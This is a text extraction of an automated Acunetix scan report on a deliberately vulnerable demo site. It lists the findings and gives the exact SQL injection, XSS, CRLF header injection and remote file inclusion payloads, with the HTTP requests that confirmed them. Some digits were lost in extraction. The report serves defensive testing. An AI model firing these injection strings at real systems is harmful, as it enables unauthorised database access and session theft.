Web Security Scan. 10 November, 2013. Developer Report



Similar documents
Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Criteria for web application security check. Version

(WAPT) Web Application Penetration Testing

HTTPParameter Pollution. ChrysostomosDaniel

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Magento Security and Vulnerabilities. Roman Stepanov

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Web application security

Web Application Attacks And WAF Evasion

Where every interaction matters.

The Top Web Application Attacks: Are you vulnerable?

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Web Application Report

Chapter 1 Web Application (In)security 1

What is Web Security? Motivation

Webapps Vulnerability Report

Online Vulnerability Scanner Quick Start Guide

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Hardening Joomla 1. HARDENING PHP. 1.1 Installing Suhosin. 1.2 Disable Remote Includes. 1.3 Disable Unneeded Functions & Classes

Intrusion detection for web applications

Check list for web developers

Web Application Guidelines

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

Web Application Security

Last update: February 23, 2004

Web Vulnerability Assessment Report

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Web Application Vulnerability Testing with Nessus

Sitefinity Security and Best Practices

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

Adobe Systems Incorporated

Cross-Site Scripting

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet

SECURITY ADVISORY. December 2008 Barracuda Load Balancer admin login Cross-site Scripting

JOOMLA SECURITY. ireland website design. by Oliver Hummel. ADDRESS Unit 12D, Six Cross Roads Business Park, Waterford City

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Essential IT Security Testing

Top 10 Web Application Security Vulnerabilities - with focus on PHP

Rational AppScan & Ounce Products

Attack Vector Detail Report Atlassian

Common Security Vulnerabilities in Online Payment Systems

Nuclear Regulatory Commission Computer Security Office Computer Security Standard

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Java Web Application Security

Penetration Test Report

Web Application Attacks and Countermeasures: Case Studies from Financial Systems

Web Application Firewall on SonicWALL SRA

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Web Application Security

Web Application Firewall on SonicWALL SSL VPN

ABC LTD EXTERNAL WEBSITE AND INFRASTRUCTURE IT HEALTH CHECK (ITHC) / PENETRATION TEST

Still Aren't Doing. Frank Kim

1. Building Testing Environment

Top Ten Web Application Vulnerabilities in J2EE. Vincent Partington and Eelco Klaver Xebia

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

DFW INTERNATIONAL AIRPORT STANDARD OPERATING PROCEDURE (SOP)

Columbia University Web Security Standards and Practices. Objective and Scope

Ethical Hacking as a Professional Penetration Testing Technique

Project 2: Web Security Pitfalls

Web Application Firewalls Evaluation and Analysis. University of Amsterdam System & Network Engineering MSc

05.0 Application Development

Implementation of Web Application Firewall

Web Security Testing Cookbook*

Penetration Testing Report Client: Business Solutions June 15 th 2015

Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert

Mavituna Security Ltd. Finance House, 522A Uxbridge Rd. Pinner. HA5 3PU / UK

Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers

Cross Site Scripting in Joomla Acajoom Component

Thick Client Application Security

Acunetix Web Vulnerability Scanner. Getting Started. By Acunetix Ltd.

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

We protect you applications! No, you don t. Digicomp Hacking Day 2013 May 16 th 2013

Introduction:... 1 Security in SDLC:... 2 Penetration Testing Methodology: Case Study... 3

External Network & Web Application Assessment. For The XXX Group LLC October 2012

Hack Proof Your Webapps

Web Application Security Assessment and Vulnerability Mitigation Tests

WEB APPLICATION SECURITY

WebCruiser Web Vulnerability Scanner User Guide

Client logo placeholder XXX REPORT. Page 1 of 37

Enterprise Application Security Workshop Series

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Web Vulnerability Scanners Evaluation - January 2009 ( anantasec@gmail.com

SENSITIVE AUSTRALIAN SPORTS COMMISSION ATHLETE MANAGEMENT SYSTEM (AMS) SMARTBASE SECURITY TEST PLAN. Final. Version 1.0

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Transcription:

Web Security Scan 0 November, 203 Developer Report

Scan of http://testphp.vulnweb.com Scan details Scan information Start time 0--203 7:6:39 Finish time 0--203 7:2:46 Scan time 5 minutes, 7 seconds Profile Default Server information Responsive Server banner Server OS Server technologies True nginx/.4. Unknown PHP Threat level Acunetix Threat Level 3 One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website. Alerts distribution Total alerts found 27 High 5 Medium 40 Low 9 Informational 27 Knowledge base List of file extensions File extensions can provide information on what technologies are being used on this website. List of file extensions detected: - php => 27 file(s) - css => 3 file(s) - swf => file(s) - fla => file(s) - htaccess => file(s) - xml => 7 file(s) - tn => 8 file(s) - LOG => file(s) - bak => 2 file(s) - txt => 2 file(s) - html => 2 file(s) - iml => file(s) - sql => file(s) - Log => file(s) List of client scripts These files contain Javascript code referenced from the website. 2

- /medias/js/common_functions.js List of files with inputs These files have at least one input (GET or POST). - /search.php - inputs - /hpp - inputs - /hpp/params.php - 2 inputs - /cart.php - inputs - /artists.php - inputs - /userinfo.php - inputs - /guestbook.php - inputs - /AJAX/infoartist.php - inputs - /AJAX/infocateg.php - inputs - /AJAX/infotitle.php - inputs - /AJAX/showxml.php - inputs - /product.php - inputs - /showimage.php - 2 inputs - /listproducts.php - 2 inputs - /redir.php - inputs - /secured/newuser.php - inputs - /comment.php - 3 inputs List of external hosts These hosts were linked from this website but they were not scanned because they are not listed in the list of hosts allowed.(settings->scanners settings->scanner->list of hosts allowed). - www.acunetix.com - www.eclectasy.com - download.macromedia.com - blog.mindedsecurity.com List of email addresses List of all email addresses found on this host. - wasp@acunetix.com - wvs@acunetix.com Alerts summary Blind SQL Injection Affects /AJAX/infoartist.php /AJAX/infocateg.php /AJAX/infotitle.php /artists.php /listproducts.php /product.php /search.php /secured/newuser.php /userinfo.php Variation s 2 2 2 3

CRLF injection/http response splitting Affects /redir.php Variation s Cross site scripting Affects /showimage.php Variation s2 Cross site scripting (verified) Affects /comment.php /guestbook.php /hpp/ /hpp/params.php /listproducts.php /search.php /secured/newuser.php Variation s 2 3 2 2 6 File inclusion Affects /showimage.php Variation s2 HTTP parameter pollution Affects /hpp/ Variation s PHP allow_url_fopen enabled Affects /secured/phpinfo.php Variation s Script source code disclosure Affects /showimage.php Variation s Server side request forgery Affects /showimage.php Variation s2 SQL injection Affects /AJAX/infoartist.php /AJAX/infocateg.php /AJAX/infotitle.php /artists.php /product.php /search.php /userinfo.php Variation s 2 4

SQL injection (verified) Affects /listproducts.php /secured/newuser.php Variation s2 Weak password Affects /userinfo.php Variation s.htaccess file readable Affects /Mod_Rewrite_Shop Variation s Application error message Affects /listproducts.php /secured/newuser.php /showimage.php Variation s4 2 3 Backup files Affects /index.bak /index.zip Variation s Directory listing Affects /.idea /.idea/scopes /admin /CVS /Flash /images /Mod_Rewrite_Shop/images /pictures /Templates Variation s Error message on page Affects /pictures/path-disclosure-unix.html Variation s HTML form without CSRF protection Affects / /comment.php /guestbook.php /hpp (94f5fea3c42cbd54a6953a8b5a4) /login.php /signup.php Variation s 5

Insecure crossdomain.xml file Affects Web Server Variation s2 JetBrains.idea project directory Affects / Variation s PHP errors enabled Affects /secured/phpinfo.php Variation s PHP open_basedir is not set Affects /secured/phpinfo.php Variation s PHPinfo page found Affects /secured/phpinfo.php Variation s Source code disclosure Affects /index.bak /pictures/wp-config.bak Variation s URL redirection Affects /redir.php Variation s User credentials are sent in clear text Affects /login.php /signup.php Variation s WS_FTP log file found Affects /pictures//ws_ftp.log Variation s Clickjacking: X-Frame-Options header missing Affects Web Server Variation s Hidden form input named price was found Affects /product.php (2bc3e2f408d9fb4afa8f6848e8f57) Variation s Login page password-guessing attack Affects /userinfo.php Variation s 6

Possible sensitive directories Affects /admin /CVS /secured Variation s Possible sensitive files Affects /hpp/test.php /Mod_Rewrite_Shop/.htaccess Variation s Possible virtual host found Affects localhost Variation s Broken links Affects /medias/css/main.css /medias/js/common_functions.js /Mod_Rewrite_Shop//color-printer/3 /Mod_Rewrite_Shop//network-attached-storage-dlink/ /Mod_Rewrite_Shop//web-camera-a4tech/2 /privacy.php Variation s Email address found Affects / /artists.php /cart.php /categories.php /disclaimer.php /guestbook.php /index.bak /index.php /listproducts.php /login.php /product.php /search.php /signup.php /Templates/main_dynamic_template.dwt.php Variation s GHDB: Sablotron error message Affects /pictures/path-disclosure-unix.html Variation s Password type input with auto-complete enabled Affects /login.php /signup.php Variation s 2 7

Possible internal IP address disclosure Affects /pictures/ipaddresses.txt Variation s Possible server path disclosure (Unix) Affects /pictures/path-disclosure-unix.html Variation s Possible username or password disclosure Affects /pictures/credentials.txt Variation s 8

Alert details Blind SQL Injection Severity Type Reported by module High Validation Scripting (Blind_Sql_Injection.script) Description This script is possibly vulnerable to SQL Injection attacks. SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters. This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable. Impact An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system. Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine. Recommendation Your script should filter metacharacters from user input. Check detailed information for more information about fixing this vulnerability. References SQL Injection Walkthrough OWASP PHP Top 5 How to check for SQL injection vulnerabilities OWASP Injection Flaws VIDEO: SQL Injection tutorial Acunetix SQL Injection Attack Affected items /AJAX/infoartist.php URL encoded GET input id was set to 3 AND 3*2*=6 AND 403=403 Tests performed: - 0+0+0+3 => TRUE - 0+403*398+3 => FALSE - 3-5-2-999 => FALSE - 3-5-2-3 => TRUE - 3-2*5+0+0+- => TRUE - 3-2*6+0+0+- => FALSE - 3 AND 2+--= AND 403=403 => TRUE - 3 AND 3+--= AND 403=403 => FALSE[/... (line truncated) GET /AJAX/infoartist.php?id=3%20AND%203*2*%3d6%20AND%20403%3d403 HTTP/. X-Requested-With: XMLHttpRequest 9

/AJAX/infocateg.php URL encoded GET input id was set to 4 AND 3*2*=6 AND 602=602 Tests performed: - 0+0+0+4 => TRUE - 0+602*597+4 => FALSE - 4-5-2-999 => FALSE - 4-5-2-3 => TRUE - 4-2*5+0+0+- => TRUE - 4-2*6+0+0+- => FALSE - 4 AND 2+--= AND 602=602 => TRUE - 4 AND 3+--= AND 602=602 => FALSE[/... (line truncated) GET /AJAX/infocateg.php?id=4%20AND%203*2*%3d6%20AND%20602%3d602 HTTP/. X-Requested-With: XMLHttpRequest /AJAX/infotitle.php URL encoded POST input id was set to 7 AND 3*2*=6 AND 54=54 Tests performed: - 0+0+0+7 => TRUE - 0+54*49+7 => FALSE - 7-5-2-999 => FALSE - 7-5-2-3 => TRUE - 7-2*5+0+0+- => TRUE - 7-2*6+0+0+- => FALSE - 7 AND 2+--= AND 54=54 => TRUE - 7 AND 3+--= AND 54=54 => FALSE[/... (line truncated) POST /AJAX/infotitle.php HTTP/. Content-Length: 38 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest id=7%20and%203*2*%3d6%20and%2054%3d54 0

/artists.php URL encoded GET input artist was set to 3 AND 3*2*=6 AND 276=276 Tests performed: - 0+0+0+3 => TRUE - 0+276*27+3 => FALSE - 3-5-2-999 => FALSE - 3-5-2-3 => TRUE - 3-2*5+0+0+- => TRUE - 3-2*6+0+0+- => FALSE - 3 AND 2+--= AND 276=276 => TRUE - 3 AND 3+--= AND 276=276 => FAL... (line truncated) GET /artists.php?artist=3%20and%203*2*%3d6%20and%20276%3d276 HTTP/. X-Requested-With: XMLHttpRequest /listproducts.php URL encoded GET input artist was set to if(now()=sysdate(),sleep(0),0)/*'xor(if(now()=sysdate(),sleep(0),0))or'"xor(if(now()=sysdate(),sleep(0),0))or"*/ Tests performed: - if(now()=sysdate(),sleep(6),0)/*'xor(if(now()=sysdate(),sleep(6),0))or'"xor(if(now()=sysdate(),sleep(6),0))or"*/ => 6.022 s - if(now()=sysdate(),sleep(9),0)/*'xor(if(now()=sysdate(),sleep(9),0))or'"xor(if(now()=sysdate(),sleep(9),0))or"*/... (line truncated) GET /listproducts.php?artist=if(now()%3dsysdate()%2csleep(0)%2c0)/*'xor(if(now()%3dsysdate() %2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/ HTTP/. X-Requested-With: XMLHttpRequest /listproducts.php URL encoded GET input cat was set to if(now()=sysdate(),sleep(0),0)/*'xor(if(now()=sysdate(),sleep(0),0))or'"xor(if(now()=sysdate(),sleep(0),0))or"*/ Tests performed: - if(now()=sysdate(),sleep(6),0)/*'xor(if(now()=sysdate(),sleep(6),0))or'"xor(if(now()=sysdate(),sleep(6),0))or"*/ => 6.006 s - if(now()=sysdate(),sleep(3),0)/*'xor(if(now()=sysdate(),sleep(3),0))or'"xor(if(now()=sysdate(),sleep(3),0))or"*/ =>... (line truncated) GET /listproducts.php?cat=if(now()%3dsysdate()%2csleep(0)%2c0)/*'xor(if(now()%3dsysdate()%2c sleep(0)%2c0))or'%22xor(if(now()%3dsysdate()%2csleep(0)%2c0))or%22*/ HTTP/. X-Requested-With: XMLHttpRequest

/product.php URL encoded GET input pic was set to 4 AND 3*2*=6 AND 399=399 Tests performed: - 0+0+0+4 => TRUE - 0+399*394+4 => FALSE - 4-5-2-999 => FALSE - 4-5-2-3 => TRUE - 4-2*5+0+0+- => TRUE - 4-2*6+0+0+- => FALSE - 4 AND 2+--= AND 399=399 => TRUE - 4 AND 3+--= AND 399=399 => FALSE[... (line truncated) GET /product.php?pic=4%20and%203*2*%3d6%20and%20399%3d399 HTTP/. X-Requested-With: XMLHttpRequest /search.php URL encoded POST input searchfor was set to if(now()=sysdate(),sleep(0),0)/*'xor(if(now()=sysdate(),sleep(0),0))or'"xor(if(now()=sysdate(),sleep(0),0))or"*/ Tests performed: - if(now()=sysdate(),sleep(6),0)/*'xor(if(now()=sysdate(),sleep(6),0))or'"xor(if(now()=sysdate(),sleep(6),0))or"*/ => 6.022 s - if(now()=sysdate(),sleep(3),0)/*'xor(if(now()=sysdate(),sleep(3),0))or'"xor(if(now()=sysdate(),sleep(3),0))o... (line truncated) POST /search.php?test=query HTTP/. Content-Length: 56 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest gobutton=go&searchfor=if(now()%3dsysdate()%2csleep(0)%2c0)/*'xor(if(now()%3dsysdate()%2c sleep(0)%2c0))or'%22xor(if(now()%3dsysdate()%2csleep(0)%2c0))or%22*/ /search.php URL encoded GET input test was set to (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ Tests performed: - (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ => 3.0 s - (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)... (line truncated) POST /search.php?test=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)) )v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/ HTTP/. 2

Content-Length: 22 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest gobutton=go&searchfor= /secured/newuser.php URL encoded POST input uuname was set to -' OR 3*2*=6 AND 000858=000858 -- Tests performed: - -' OR 2+858-858-=0+0+0+ -- => TRUE - -' OR 3+858-858-=0+0+0+ -- => FALSE - -' OR 3*2<(0+5+858-858) -- => FALSE - -' OR 3*2>(0+5+858-858) -- => FALSE - -' OR 2+--= AND 000858=000858 -- => TRUE - -' OR 000858=000858 AND... (line truncated) POST /secured/newuser.php HTTP/. Content-Length: 235 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest signup=signup&uaddress=337%20laguna%20street&ucc=4&uemail=sample%40email.tst&upass=g00dpa%24%24w0rd&upass2=g00dpa%24%24w0rd&uphone=555-666-0606&urname=pjxopdtk& uuname=-'%20or%203*2*%3d6%20and%20000858%3d000858%20--%20 /userinfo.php URL encoded POST input pass was set to -' OR 3*2*=6 AND 000389=000389 -- Tests performed: - -' OR 2+389-389-=0+0+0+ -- => TRUE - -' OR 3+389-389-=0+0+0+ -- => FALSE - -' OR 3*2<(0+5+389-389) -- => FALSE - -' OR 3*2>(0+5+389-389) -- => FALSE - -' OR 2+--= AND 000389=000389 -- => TRUE - -' OR 000389=000389 AND 3+... (line truncated) POST /userinfo.php HTTP/. Content-Length: 72 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest pass=-'%20or%203*2*%3d6%20and%20000389%3d000389%20--%20&uname=uinwgjiq 3

/userinfo.php URL encoded POST input uname was set to -' OR 3*2*=6 AND 00082=00082 -- Tests performed: - -' OR 2+82-82-=0+0+0+ -- => TRUE - -' OR 3+82-82-=0+0+0+ -- => FALSE - -' OR 3*2<(0+5+82-82) -- => FALSE - -' OR 3*2>(0+5+82-82) -- => FALSE - -' OR 2+--= AND 00082=00082 -- => TRUE - -' OR 00082=00082 AND 3... (line truncated) POST /userinfo.php HTTP/. Content-Length: 80 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest pass=g00dpa%24%24w0rd&uname=-'%20or%203*2*%3d6%20and%2000082%3d00082%20--%20 4

CRLF injection/http response splitting Severity Type Reported by module High Validation Scripting (CRLF_Injection.script) Description This script is possibly vulnerable to CRLF injection attacks. HTTP headers have the structure "Key: Value", where each line is separated by the CRLF combination. If the user input is injected into the value section without properly escaping/removing CRLF characters it is possible to alter the HTTP headers structure. HTTP Response Splitting is a new application attack technique which enables various new attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and cross-site scripting (XSS). The attacker sends a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response. Impact Is it possible for a remote attacker to inject custom HTTP headers. For example, an attacker can inject session cookies or HTML code. This may conduct to vulnerabilities like XSS (cross-site scripting) or session fixation. Recommendation You need to restrict CR(0x3) and LF(0x0) from the user input or properly encode the output in order to prevent the injection of custom HTTP headers. References Introduction to HTTP Response Splitting Acunetix CRLF Injection Attack Whitepaper - HTTP Response Splitting Affected items /redir.php URL encoded GET input r was set to SomeCustomInjectedHeader:injected_by_wvs Injected header found: SomeCustomInjectedHeader: injected_by_wvs GET /redir.php?r=%0d%0a%20somecustominjectedheader:injected_by_wvs HTTP/. 5

Cross site scripting Severity Type Reported by module High Validation Scripting (Remote_File_Inclusion_XSS.script) Description This script is possibly vulnerable to Cross Site Scripting (XSS) attacks. Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser. Impact Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user. Recommendation Your script should filter metacharacters from user input. References How To: Prevent Cross-Site Scripting in ASP.NET Acunetix Cross Site Scripting Attack VIDEO: How Cross-Site Scripting (XSS) Works The Cross Site Scripting Faq OWASP Cross Site Scripting XSS Annihilation XSS Filter Evasion Cheat Sheet Cross site scripting OWASP PHP Top 5 Affected items /showimage.php URL encoded GET input file was set to http://testasp.vulnweb.com/t/xss.html?%00.jpg GET /showimage.php?file=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpg&size=60 HTTP/. /showimage.php URL encoded GET input file was set to http://testasp.vulnweb.com/t/xss.html?%00.jpg GET /showimage.php?file=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpg HTTP/. 6

Cross site scripting (verified) Severity Type Reported by module High Validation Scripting (XSS.script) Description This script is possibly vulnerable to Cross Site Scripting (XSS) attacks. Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser. Impact Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user. Recommendation Your script should filter metacharacters from user input. References Cross site scripting OWASP PHP Top 5 XSS Filter Evasion Cheat Sheet XSS Annihilation The Cross Site Scripting Faq Acunetix Cross Site Scripting Attack VIDEO: How Cross-Site Scripting (XSS) Works OWASP Cross Site Scripting How To: Prevent Cross-Site Scripting in ASP.NET Affected items /comment.php URL encoded POST input name was set to <your%20name%20here>'"()&%<script >prompt(93225)</script> POST /comment.php HTTP/. Content-Length: 39 Content-Type: application/x-www-form-urlencoded comment=&name=<your%2520name%2520here>'%22()%26%25<script%20>prompt(93225)</script>&ph paction=echo%20%24_post%5bcomment%5d;&submit=submit /guestbook.php URL encoded POST input name was set to anonymous%20user'"()&%<script >prompt(937333)</script> POST /guestbook.php HTTP/. Content-Length: 97 Content-Type: application/x-www-form-urlencoded 7

name=anonymous%2520user'%22()%26%25<script%20>prompt(937333)</script>&submit=add%20messa ge&text= /guestbook.php URL encoded POST input text was set to '"()&%<ScRiPt >prompt(997862)</script> POST /guestbook.php HTTP/. Content-Length: 95 Content-Type: application/x-www-form-urlencoded name=anonymous%20user&submit=add%20message&text='%22()%26%25<script%20>prompt(997862)</ ScRiPt> /hpp/ URL encoded GET input pp was set to 2" onmouseover=prompt(93944) bad=" The input is reflected inside a tag parameter between double quotes. GET /hpp/?pp=2%22%20onmouseover%3dprompt(93944)%20bad%3d%22 HTTP/. /hpp/ URL encoded GET input pp was set to 2" onmouseover=prompt(986) bad=" The input is reflected inside a tag parameter between double quotes. GET /hpp/?pp=2%22%20onmouseover%3dprompt(986)%20bad%3d%22 HTTP/. /hpp/ URL encoded GET input pp was set to 2" onmouseover=prompt(99966) bad=" The input is reflected inside a tag parameter between double quotes. GET /hpp/?pp=2%22%20onmouseover%3dprompt(99966)%20bad%3d%22 HTTP/. 8

/hpp/params.php URL encoded GET input p was set to valid'"()&%<script >prompt(96270)</script> GET /hpp/params.php?p=valid'%22()%26%25<script%20>prompt(96270)</script>&pp=2 HTTP/. /hpp/params.php URL encoded GET input pp was set to 2'"()&%<ScRiPt >prompt(934293)</script> GET /hpp/params.php?p=valid&pp=2'%22()%26%25<script%20>prompt(934293)</script> HTTP/. /listproducts.php URL encoded GET input artist was set to 3'"()&%<ScRiPt >prompt(96759)</script> GET /listproducts.php?artist=3'%22()%26%25<script%20>prompt(96759)</script> HTTP/. /listproducts.php URL encoded GET input cat was set to 4'"()&%<ScRiPt >prompt(97926)</script> GET /listproducts.php?cat=4'%22()%26%25<script%20>prompt(97926)</script> HTTP/. /search.php URL encoded POST input searchfor was set to '"()&%<ScRiPt >prompt(97093)</script> POST /search.php?test=query HTTP/. Content-Length: 69 Content-Type: application/x-www-form-urlencoded 9

gobutton=go&searchfor='%22()%26%25<script%20>prompt(97093)</script> /secured/newuser.php URL encoded POST input uaddress was set to 337%20Laguna%20Street'"()&%<ScRiPt >prompt(999592)</script> POST /secured/newuser.php HTTP/. Content-Length: 24 Content-Type: application/x-www-form-urlencoded signup=signup&uaddress=337%2520laguna%2520street'%22()%26%25<script%20>prompt(999592)</ ScRiPt>&ucc=4&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00 dpa%24%24w0rd&uphone=555-666-0606&urname=npkmulkd&uuname=npkmulkd /secured/newuser.php URL encoded POST input ucc was set to 4'"()&%<ScRiPt >prompt(95927)</script> POST /secured/newuser.php HTTP/. Content-Length: 237 Content-Type: application/x-www-form-urlencoded signup=signup&uaddress=337%20laguna%20street&ucc=4'%22()%26%25<script%20 >prompt(95927)</script>&uemail=sample%40email.tst&upass=g00dpa%24%24w0rd&upass2=g00dpa% 24%24w0rD&uphone=555-666-0606&urname=pcwfxsrj&uuname=pcwfxsrj /secured/newuser.php URL encoded POST input uemail was set to sample%40email.tst'"()&%<script >prompt(95355)</script> POST /secured/newuser.php HTTP/. Content-Length: 239 Content-Type: application/x-www-form-urlencoded signup=signup&uaddress=337%20laguna%20street&ucc=4&uemail=sample%2540ema il.tst'%22()%26%25<script%20>prompt(95355)</script>&upass=g00dpa%24%24w0rd&upass2=g00dp a%24%24w0rd&uphone=555-666-0606&urname=tgvffjmw&uuname=tgvffjmw /secured/newuser.php URL encoded POST input uphone was set to 555-666-0606'"()&%<ScRiPt >prompt(98959)</script> 20

POST /secured/newuser.php HTTP/. Content-Length: 237 Content-Type: application/x-www-form-urlencoded signup=signup&uaddress=337%20laguna%20street&ucc=4&uemail=sample%40email.tst&upass=g00dpa%24%24w0rd&upass2=g00dpa%24%24w0rd&uphone=555-666-0606'%22()%26%25<scri Pt%20>prompt(98959)</ScRiPt>&urname=ixjtwixr&uuname=ixjtwixr /secured/newuser.php URL encoded POST input urname was set to ixjtwixr'"()&%<script >prompt(9934)</script> POST /secured/newuser.php HTTP/. Content-Length: 237 Content-Type: application/x-www-form-urlencoded signup=signup&uaddress=337%20laguna%20street&ucc=4&uemail=sample%40email.tst&upass=g00dpa%24%24w0rd&upass2=g00dpa%24%24w0rd&uphone=555-666-0606&urname=ixjtwixr' %22()%26%25<ScRiPt%20>prompt(9934)</ScRiPt>&uuname=jnprxole /secured/newuser.php URL encoded POST input uuname was set to jnprxole'"()&%<script >prompt(9833)</script> POST /secured/newuser.php HTTP/. Content-Length: 237 Content-Type: application/x-www-form-urlencoded signup=signup&uaddress=337%20laguna%20street&ucc=4&uemail=sample%40email.tst&upass=g00dpa%24%24w0rd&upass2=g00dpa%24%24w0rd&uphone=555-666-0606&urname=himfkqej& uuname=jnprxole'%22()%26%25<script%20>prompt(9833)</script> 2

File inclusion Severity Type Reported by module High Validation Scripting (File_Inclusion.script) Description This script is possibly vulnerable to file inclusion attacks. It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function. Impact It is possible for a remote attacker to include a file from local or remote resources and/or execute arbitrary script code with the privileges of the web-server. Recommendation Edit the source code to ensure that input is properly validated. Where is possible, it is recommended to make a list of accepted filenames and restrict the input to that list. For PHP, the option allow_url_fopen would normally allow a programmer to open, include or otherwise use a remote file using a URL rather than a local file path. It is recommended to disable this option from php.ini. References PHP - Using remote files OWASP PHP Top 5 Remote file inclusion Affected items /showimage.php URL encoded GET input file was set to http://testasp.vulnweb.com/t/fit.txt?%00.jpg Error message found: 63c9a6da7986b2429e5bb262daed863c9a6da7986b2429e5bb262daed8 GET /showimage.php?file=http://testasp.vulnweb.com/t/fit.txt%3f%2500.jpg HTTP/. /showimage.php URL encoded GET input file was set to http://testasp.vulnweb.com/t/fit.txt?%00.jpg Error message found: 63c9a6da7986b2429e5bb262daed863c9a6da7986b2429e5bb262daed8 GET /showimage.php?file=http://testasp.vulnweb.com/t/fit.txt%3f%2500.jpg&size=60 HTTP/. 22

